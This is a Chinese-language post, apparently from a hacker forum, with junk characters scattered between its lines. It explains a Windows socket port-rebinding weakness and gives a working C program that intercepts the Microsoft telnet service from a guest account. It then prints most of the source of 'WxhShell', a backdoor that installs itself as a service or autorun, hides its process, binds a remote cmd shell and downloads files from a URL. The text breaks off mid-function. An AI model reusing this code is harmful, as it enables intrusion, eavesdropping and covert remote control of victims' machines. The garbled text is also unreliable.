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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .LafP}% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?PWD[mQE\ Ze~ a+%Sb saddr.sin_family = AF_INET; 9QJ=?bIC# b@N|sXt&C saddr.sin_addr.s_addr = htonl(INADDR_ANY); K&"Yv~h mLD0Lu_Ob3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zsI0Q47\ T4T_32`XR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rs)tf|`/ xZFha=# 这意味着什么?意味着可以进行如下的攻击: BZ1@?3 r6]r+!63" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '#t"^E2$ %Zx/XMs}e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IDzP<u8v aEX;yy* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1oo'\ sCaw"{5qc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 /exV6D r {Cs~5jYz 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 po"M$4`9 H7"I+qE-G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _h_;nS.Y 2Iz@lrO6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T~ Jl{(s9) 2U>1-p&dn #include iUA2/ A #include -9-%_=6 #include ZcX%:ebKS #include FHM^x2 DWORD WINAPI ClientThread(LPVOID lpParam); %kNkDI int main() *%ZfE,bu8< { Gyy:.]>& WORD wVersionRequested; 6\O4R DWORD ret; -O~WHi5} WSADATA wsaData; yqlkf$? BOOL val; "eI-Y`O, SOCKADDR_IN saddr; j3`:;'L SOCKADDR_IN scaddr; H` Q_gy5Z( int err; +Qu~UK\ SOCKET s;
-N5r[*> SOCKET sc; gbr|0h> int caddsize; S7wZCQe HANDLE mt; {_3ZKD(\ DWORD tid; VjYfnvE wVersionRequested = MAKEWORD( 2, 2 );
30FYq? err = WSAStartup( wVersionRequested, &wsaData ); RNoS7[& if ( err != 0 ) { ,k{{ZP
P printf("error!WSAStartup failed!\n"); \I#lLP return -1; [$.oyjd } H|F>BjXn5 saddr.sin_family = AF_INET; \R&`bAd k 8<)[+@$0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +ls *04 HJBUN1n saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }K"=sE saddr.sin_port = htons(23); A &w)@DOe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E3,Z(dpX! { w
\0=L=J printf("error!socket failed!\n"); 9]|[z{v'>l return -1; HtY\!_Ea } XFYCPET val = TRUE; :BMU c-[ //SO_REUSEADDR选项就是可以实现端口重绑定的 j@UW[,UI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t]eB3)FX { 1ErH \! printf("error!setsockopt failed!\n"); bL
*; N3#E return -1; k>VP<Zm13 } ),bdj+wr78 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^fnRzX //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n{Jvx>); //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AP3SOT3I ?_\Hv@t; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 76 =uk!#3{ { ixiRFBUcF~ ret=GetLastError(); 2)[81a printf("error!bind failed!\n"); w'M0Rd] return -1; aH"tSgi } |V!A!tB listen(s,2); ,dBtj8= while(1) s.zH.q, { F\-qXSA caddsize = sizeof(scaddr); ?3KI}'}EM //接受连接请求 jGI!}4_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wf: AMxDm if(sc!=INVALID_SOCKET) L$@RSKYp { n{4&('NRFP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pPQ]#v if(mt==NULL) = \X<UA} { RG*Nw6A printf("Thread Creat Failed!\n"); IeN!nK- break; ,Hys9I } dP)8T } F;q I^{m2 CloseHandle(mt); L>@0Nne7 } |C>Yd*E,C closesocket(s); ml?+JbLg0 WSACleanup(); %5F=!(w return 0; 9=3V}]^M } I|WBT DWORD WINAPI ClientThread(LPVOID lpParam) %HYC-TF# { C:4h SOCKET ss = (SOCKET)lpParam; ;'gzRC SOCKET sc; [&+wW unsigned char buf[4096]; qY14LdC}~ SOCKADDR_IN saddr; Q~-g tEv+& long num; JvHJ*E DWORD val; |:H[Y"$1; DWORD ret; ;2dhue //如果是隐藏端口应用的话,可以在此处加一些判断 mGL%<4R, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 d54>nycU~N saddr.sin_family = AF_INET; p(0!TCBs saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I[[rVts saddr.sin_port = htons(23); ;Rwr5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KY|Q#i|pM { .4KXe"~E printf("error!socket failed!\n"); 4qyL' \d[ return -1; M5%u>$2 } <'GI<Hc val = 100; U4LOe}Ny if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j/^0q90QO { 38Wv&! ret = GetLastError(); 2]>s@?[ return -1; '{OZ[$E } {mkYW-4Se if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bcj7.rh]'h { dAAE2}e ret = GetLastError(); W"wP% return -1; Keof{>V=CA } v5<Ext
rV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VnIJ$5Y { q~l&EH0 printf("error!socket connect failed!\n"); F*I{?NRN1 closesocket(sc); #;^.&2Lt closesocket(ss); B~~rLo:a return -1; ,GR(y^S } *y N,e.t while(1) \>I&UFfH)4 { *AxKV5[H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k#&y //如果是嗅探内容的话,可以再此处进行内容分析和记录 DUW;G9LP$- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U 2\{(y num = recv(ss,buf,4096,0); }A2@1TTPX if(num>0) ?,s{M^sj^ send(sc,buf,num,0); 6o,,w^ else if(num==0) C{Npipd}v break; j4brDlo?@ num = recv(sc,buf,4096,0); RHB>svT^K> if(num>0) .g4bV5ma3 send(ss,buf,num,0); $9ON3> else if(num==0) A?6b)B/e? break; XPX{c|]>. } Ye(0'*-jyc closesocket(ss); OjZ+gl} closesocket(sc); \6@}HFH return 0 ; 1S_KX. } zHu:Ec7 N 4,w 7dU X(D,? ========================================================== jP}N^ 78NAcP~6c 下边附上一个代码,,WXhSHELL 2Jj`7VH> 'l<kY\I!% ========================================================== [!aHP?- r{Fu|aoa;5 #include "stdafx.h" kW/ksz0) }*0%wP #include <stdio.h> /?by4v73P #include <string.h> lUWjm%| #include <windows.h> k"L_0HK #include <winsock2.h> -4HI9Czts #include <winsvc.h> V#sANi?mpo #include <urlmon.h> @c.QrKSaD tc#
rL #pragma comment (lib, "Ws2_32.lib") ,@>B#%Nz #pragma comment (lib, "urlmon.lib") qnT:x{o cvc.-7IO #define MAX_USER 100 // 最大客户端连接数 ,cj34W`FWq #define BUF_SOCK 200 // sock buffer V:l; 2rW #define KEY_BUFF 255 // 输入 buffer z{AfR2L 2>s:wABb / #define REBOOT 0 // 重启 c.d*DM}W #define SHUTDOWN 1 // 关机 =P2T&Gb tp0^%!*9 #define DEF_PORT 5000 // 监听端口 KXR B%r)~?6DM #define REG_LEN 16 // 注册表键长度 9fe~Q%x=u #define SVC_LEN 80 // NT服务名长度 N!btj,vx ~IlgcCF // 从dll定义API R=PjLH&) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |E!xt6B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k.0$~juu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z;Tjjws typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o<%Sr* i\,#Z! // wxhshell配置信息 gKBcD\F struct WSCFG { vbh\uv& int ws_port; // 监听端口 bC"#.e char ws_passstr[REG_LEN]; // 口令 |%TH|?kB int ws_autoins; // 安装标记, 1=yes 0=no Fet>KacTht char ws_regname[REG_LEN]; // 注册表键名 Q%KS$nP9 char ws_svcname[REG_LEN]; // 服务名 t0hg!_$bq char ws_svcdisp[SVC_LEN]; // 服务显示名 Rrk3EL char ws_svcdesc[SVC_LEN]; // 服务描述信息 G?YKm1:w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5qUyOkI int ws_downexe; // 下载执行标记, 1=yes 0=no T;.#=h char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" &~uzu{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =y^N'1q ].`i`.T }; \W#M]Q C3WqUf<8`{ // default Wxhshell configuration U%U%a,rA5s struct WSCFG wscfg={DEF_PORT, DTgF,c "xuhuanlingzhe", o^5xCK:Oi2 1, uiO8F*,!&r "Wxhshell", MJDFm, "Wxhshell", <C]s\"o-` "WxhShell Service", ~?S/0]?c "Wrsky Windows CmdShell Service", }!5"EL(L80 "Please Input Your Password: ", >a@-OJ.yOk 1, )1&[uE#L " http://www.wrsky.com/wxhshell.exe", 6uR:/PTG "Wxhshell.exe" bi[vs| }; 1j3mTP 62a{Ggs{ // 消息定义模块 '}]w=2Lf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mI?AI7DqK char *msg_ws_prompt="\n\r? for help\n\r#>"; 57rc|]C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 2;U(r:] char *msg_ws_ext="\n\rExit."; 9boNB"h]T char *msg_ws_end="\n\rQuit."; M>8#is(pV char *msg_ws_boot="\n\rReboot..."; #t
po@pJsE char *msg_ws_poff="\n\rShutdown..."; VbJGyjx char *msg_ws_down="\n\rSave to "; s$| GVv1B F0]NtKaH char *msg_ws_err="\n\rErr!"; c?j /H$ char *msg_ws_ok="\n\rOK!"; ~B1)!5Z (4x`/ char ExeFile[MAX_PATH]; sDw&U?gUv int nUser = 0; /oE@F178 HANDLE handles[MAX_USER]; \_CC6J0k int OsIsNt; [y64%|m f*LDrAf9 SERVICE_STATUS serviceStatus; 0P&rTtU6 SERVICE_STATUS_HANDLE hServiceStatusHandle; 3zv_q&+8b -h8A< // 函数声明 @6(4}&sEdm int Install(void); >o%.`)Ar int Uninstall(void); *8t_$<'dQ int DownloadFile(char *sURL, SOCKET wsh); S0,p:Wey int Boot(int flag); DMsxHAE1 void HideProc(void); QUwSnotgU int GetOsVer(void); sHmzwvpLA int Wxhshell(SOCKET wsl); iO>2#p8$NR void TalkWithClient(void *cs); +{4ziqYj int CmdShell(SOCKET sock); $5s?m\!jZz int StartFromService(void); pma'C\b> int StartWxhshell(LPSTR lpCmdLine); DF P0WXbOE o-yZ$+V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #-Ehg4W VOID WINAPI NTServiceHandler( DWORD fdwControl ); +t,JCY6 %9uLxC; // 数据结构和表定义 yM=%a3 SERVICE_TABLE_ENTRY DispatchTable[] = K!0vvP2H { fiES6VL {wscfg.ws_svcname, NTServiceMain}, C`%cPl {NULL, NULL} m\O<Yc keA }; 6;"jq92in* R>BnUIu // 自我安装 -5\hZ!!J2 int Install(void) ^fQ ]>/u { q`{crY30 char svExeFile[MAX_PATH]; oGu-:X=`9 HKEY key; DUFfk6#X} strcpy(svExeFile,ExeFile); M]vcW Fr`"XH // 如果是win9x系统,修改注册表设为自启动 wG ua"@IE if(!OsIsNt) { 4w<U%57 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f]jAa?d T& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s["8QCd"r RegCloseKey(key); 4l <%Q2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d
*!) wt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j;WZ[g#t RegCloseKey(key); /2Y t\=S= return 0; dmgoVF_qR } G\@uj>Z } <]2X~+v } 96fbMP+7R else { 6F(;=iY8 7y""#-}V[r // 如果是NT以上系统,安装为系统服务 N \1
EWi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5
<X.1T1 if (schSCManager!=0) om@GH0o+ { Z@4BTA SC_HANDLE schService = CreateService ,qz$6oxh\ ( w@ALl#z;} schSCManager, :70[zo7n' wscfg.ws_svcname, Bvk 8b wscfg.ws_svcdisp, s{#rCc) SERVICE_ALL_ACCESS, P+tRxpz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +*Y/+.4WE$ SERVICE_AUTO_START, F=?0:2P0bD SERVICE_ERROR_NORMAL, b=amd* svExeFile, 4^/MDM@ NULL, jNd."[IrO NULL, i|?EgGFG NULL, G6]W'Kk NULL, (,*e\o NULL 7:awUoV8f ); 2K[Y|.u8>q if (schService!=0) U$-Gc[=| { OHTJQ5%zL CloseServiceHandle(schService); JVy- Y CloseServiceHandle(schSCManager); ~\B1\ G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _Vul9= strcat(svExeFile,wscfg.ws_svcname); xF.n=z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MKMWHGN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BC.~wNz6 RegCloseKey(key); G0*>S`:4 return 0; |h}/#qhR } ]06orBV } uJhB>/Og CloseServiceHandle(schSCManager); " iAwD8- } 4BF
\-lq~ } L+VqTt )nE=H,U?y return 1; HG
kL6o= } S<fSoU+RJ 36iDiT_ // 自我卸载 3msb"|DG int Uninstall(void) hq+j8w}<- { Esx"nex HKEY key; <vS3[( c"F3[mrff if(!OsIsNt) { YytO*^e}} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m/TjXA8_ RegDeleteValue(key,wscfg.ws_regname); e x"E50 RegCloseKey(key); m
ioNMDG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rnX
D( RegDeleteValue(key,wscfg.ws_regname); dA4DW RegCloseKey(key); &/wd_;d^A return 0; Dfz3\|LJ } 0G?*i_u\ } +h*-9 } 55LW[Pc else { @s7ZfV?? N(ov.l; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [9N>*dKB if (schSCManager!=0) !C]2:+z-MF { lJlyfN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <yt|!p-tS if (schService!=0) #7(?B{i { "wqN,}bj\ if(DeleteService(schService)!=0) { Uphme8SX CloseServiceHandle(schService); ':fq/k3;& CloseServiceHandle(schSCManager); VDy2!0 return 0; Kd,8PV*_ } K9G1>* CloseServiceHandle(schService); L?h'^*F H} } }(MI}o} CloseServiceHandle(schSCManager); qK=uSLo\+ } nev@ykP6 } o,(]w kF V7~tIhuJH return 1; =o_Ua^mr } gdr"34%vbM ;-]' OiS; // 从指定url下载文件 )SjhOvm int DownloadFile(char *sURL, SOCKET wsh) - 2DvKW$ { +wPXDN#R HRESULT hr; ;zF3e&e( char seps[]= "/"; VAD9mS^~ char *token; |!Ryl}Oi char *file; Hs6?4cgj char myURL[MAX_PATH]; E@}
NV|90 char myFILE[MAX_PATH]; YmwUl> @{
}.DE521u strcpy(myURL,sURL); PPpq"c token=strtok(myURL,seps); B
r`a;yT while(token!=NULL) -w'_Q"o2 { :o"9x, file=token; c;6[lv token=strtok(NULL,seps); L|hoA9/] }
m.6O%jD UgD|tuz] GetCurrentDirectory(MAX_PATH,myFILE); C
9{8!fYp strcat(myFILE, "\\"); `xXpP"*o} strcat(myFILE, file); `AcUxnO send(wsh,myFILE,strlen(myFILE),0); \img
send(wsh,"...",3,0); 'r0kX|| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @'AjEl:&-_ if(hr==S_OK) _-+xzdGvX return 0; +`RQ^9 else 3u,C I! return 1; _ J t ?zP/i(1y } xCTPsw]s -xVp}RLT // 系统电源模块 -Z(='A int Boot(int flag) P$7i>(?( { )hy(0 D HANDLE hToken; w,)O*1't TOKEN_PRIVILEGES tkp; ye^*Z>| * "qS if(OsIsNt) { 1-=ZIHW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KkJrh@lk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 93[&' tkp.PrivilegeCount = 1; '$q=r x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kfW"vI+d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vu=e|A# if(flag==REBOOT) { `m")v0n3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /$=<"Y7&g return 0; Tb!Fv W } T1*%]6&V| else { <
M o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a #`Y(R' return 0; G2y`yg } ?h|&kRq } 6k9cvMs%H else { g15~+;33N if(flag==REBOOT) { YQ-!>3/)- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) umo<9Y return 0; zg>)Lq|VsT } '>:c:Tewy else { o|cx? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cm"7f!(# return 0; (ebC80M } PP-U. } FGey%:p9$ <y2HzBC return 1; +5i~}Q! } 2L(\-]%f 7.y35y // win9x进程隐藏模块 mDdL7I void HideProc(void) LX8A@Yct { 259R5X<V +ktubJ@Qgj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xP7#`S6W if ( hKernel != NULL ) )R^&u`k { nh'TyUd! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \=&F\EV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M/a40uK FreeLibrary(hKernel); 6* 6 |R93 } vq` M]1]FO ?RPVd8PUhN return; =1r!'<"h } +4g H=6
NIh?2w"\ // 获取操作系统版本 S
Rb-eDk' int GetOsVer(void) ,^1B"#0{C< { 6>NK2} ` OSVERSIONINFO winfo; ){I!orQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "$#<+H>O GetVersionEx(&winfo); A4{p(MS5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 91\Sb:> return 1; N?s`a;Q[= else Whl^~$+f return 0; q}|_]R_y } O|AY2QH\ =&t]R?
F // 客户端句柄模块 kyH0J[/n int Wxhshell(SOCKET wsl) (yK@(euG { t2LX@Q" SOCKET wsh; I~F]e|Ehqr struct sockaddr_in client; Ay@/{RZz DWORD myID; 83!{?EPE -!QVM\t while(nUser<MAX_USER) f=hT
o!i { z'&tmje[? int nSize=sizeof(client); U1;&G wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e'|IRhr if(wsh==INVALID_SOCKET) return 1; zQ#2BOx1 6L<QKE= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Y-5L;MI if(handles[nUser]==0) qM18Ji* closesocket(wsh); #b9V&/ln else (Xl+Zi>\{ nUser++; $1y8X K7r } e<$s~ UXv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^{Fo,7 }2hU7YWt return 0; NjbIt=y } %v4*$E!f VDFs.;:s // 关闭 socket ntQW+!s;P void CloseIt(SOCKET wsh) a0&L,7mu<' { &!F"3bD0 closesocket(wsh); _<%YLv nUser--; O>"T* ExitThread(0); '{w[).c. } 4rLc]
> ?c<uN~fC= // 客户端请求句柄 ws<pBC,m void TalkWithClient(void *cs) >dJ[1s] { []G@l. ]W /@64xrvIl= SOCKET wsh=(SOCKET)cs; ++ZP
X'| char pwd[SVC_LEN]; K'f^=bcI char cmd[KEY_BUFF]; qr (t_qR& char chr[1]; \}J"`J\Q int i,j; 2^%O%Pc E/<n"'0ek while (nUser < MAX_USER) { ,3
[FD9 +4+czfz if(wscfg.ws_passstr) { J"-/ok(<@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CfT(a!;Eox //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s"5nfl //ZeroMemory(pwd,KEY_BUFF); hC4
M}(XM i=0; 6rM{r> while(i<SVC_LEN) { >abpse }`aT=_ B // 设置超时 1vYa&! fd_set FdRead; e8M0Lz#} struct timeval TimeOut; ehLn+tg FD_ZERO(&FdRead); i91k0q*di FD_SET(wsh,&FdRead); TR%8O; TimeOut.tv_sec=8; 7m %[$X` TimeOut.tv_usec=0; BMtk/r/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T 0qM" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); caxOxRo\ {Iz"]Wh<f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r$<M*z5q(\ pwd =chr[0]; Tb!FO"o if(chr[0]==0xd || chr[0]==0xa) { dA^{}zZu pwd=0; ;oO_5[,M break; C~WWuju' } A-, hm=? i++; =b8u8*ua } B.!&z-)# c
D.; // 如果是非法用户,关闭 socket X3][C if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9e4`N"#,lI } P$]K ,4=mlte" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2D a0*xn{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [dXa, BY9Z}/{j while(1) { x |gYxZ %{Obhj;c ZeroMemory(cmd,KEY_BUFF); ]E)D})r`# ~pHuh#> // 自动支持客户端 telnet标准 h/2@4XKj j=0; eFotV.T!# while(j<KEY_BUFF) { F&lH5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @NL37C cmd[j]=chr[0]; a|(|!= if(chr[0]==0xa || chr[0]==0xd) { 5A^8?,F@ cmd[j]=0; $inKI break; j\NCoos } B)/c]"@89 j++; Mf !S'\ } f@q.kD21 v2a(yH // 下载文件 6@"E*-z$ if(strstr(cmd,"http://")) { #R7hk5/8n} send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1Y%lt5,* if(DownloadFile(cmd,wsh)) -0TI7 @ send(wsh,msg_ws_err,strlen(msg_ws_err),0); HXX9D&c4R else ?B@3A)a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gm &jlN } O.Y|},F else { r;{ggwY&J $Ld-lQsL switch(cmd[0]) { hL&7D@ Vk*XiEfKm> // 帮助 s>1\bio*I case '?': { C,%Dp0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Anqt:( break; 5j\Kej } K7C!ZXw~ // 安装 K4o']{:U case 'i': { LK!sk5/ if(Install()) (pHJEY send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 d+b<J, else _
nz^+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @=2u;$. break; X]n`YF7 } }x&XvI // 卸载 KS1udH^Zc case 'r': { n2:Uu>/ if(Uninstall()) HR?bnkv|id send(wsh,msg_ws_err,strlen(msg_ws_err),0); @' %XdH else i[MBO`FF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K9Onjs%U break; SL`; `// } }_-tJ. // 显示 wxhshell 所在路径 X"mPRnE330 case 'p': { W7(5z char svExeFile[MAX_PATH]; ,L<x=Dg strcpy(svExeFile,"\n\r"); G(wstHT;/ strcat(svExeFile,ExeFile); AZ4:3} send(wsh,svExeFile,strlen(svExeFile),0); ^uphpABpD break; >;F}>_i } 0M)\([W9& // 重启 oB>#P-V case 'b': { dcTZL$ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #xq3)B if(Boot(REBOOT)) 2}bXX'Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); w`r%_o-I else { g/WDAO?d closesocket(wsh); ZoYllk ExitThread(0); w~+\Mf z } Jr%F#/ break; 8N$Xq\Da+> } d>T8V(Bb // 关机
j=G case 'd': { Fe+(+ S send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vO53?vN[m9 if(Boot(SHUTDOWN)) MxUQ F?@6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); /?0|hi<_$ else { VC_F
Cz closesocket(wsh); pAqPHD= ExitThread(0); O*lIZ,!n } H|,d`@U break; ]&B/rSC } [6
"5 // 获取shell HRQfT>"/ case 's': { V$:%CIn CmdShell(wsh); ~p:hqi1+<+ closesocket(wsh); t/%[U,m ExitThread(0); tUW^dGo. break; 6i~<,;Cn } UUM:*X // 退出 ydRS\l case 'x': { !,{N>{I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oiqc]4TL CloseIt(wsh); H#WqO<<v break; X+HPdrT } 6' \M:'<0e // 离开 wuxOFlrg case 'q': { r+6 DlT
a send(wsh,msg_ws_end,strlen(msg_ws_end),0); %Wm) closesocket(wsh); (Rp5g}b WSACleanup(); j9w{=( MV exit(1); +W$uHQq break; -UAMHd}4 } <Wj/A/ } ~BgYD)ov } n{qVF#N_ \}<J>R@ // 提示信息 bE=[P}E
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
Jk:ZO|'Z } ()$m9%x } [9}<N2,9z SOMAs'= return; ,%zE>^~ } 3h%Nd&_9 /QCg E~ // shell模块句柄 aI}htb{m` int CmdShell(SOCKET sock) 4x=sJ%E { @at*E%T[ STARTUPINFO si; uINEq{yo ZeroMemory(&si,sizeof(si)); 7Up-a^k^` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iAPGP-<6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \{Je!# PROCESS_INFORMATION ProcessInfo; Lm.N
{NV' char cmdline[]="cmd"; ;*U&lT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &|Rww\oJ return 0; 7fd,I% v } 9"L!A,&' { i4`-w // 自身启动模式 L$ ^ew0C int StartFromService(void) v}z^M_eFm { %m/5!
" typedef struct 9Uz2j$p7 { o)CW7Y#?, DWORD ExitStatus; u@+^lRGFh DWORD PebBaseAddress; hOs~/bM DWORD AffinityMask; f'7/Wj DWORD BasePriority; /Tw $}8 ULONG UniqueProcessId; 74(bo\ ULONG InheritedFromUniqueProcessId; qC=ZH# } PROCESS_BASIC_INFORMATION; z,@R jaX VG$%Vs PROCNTQSIP NtQueryInformationProcess; Tc/<b2\g CPY|rV static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W>,D$ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2$2@?]|? xa
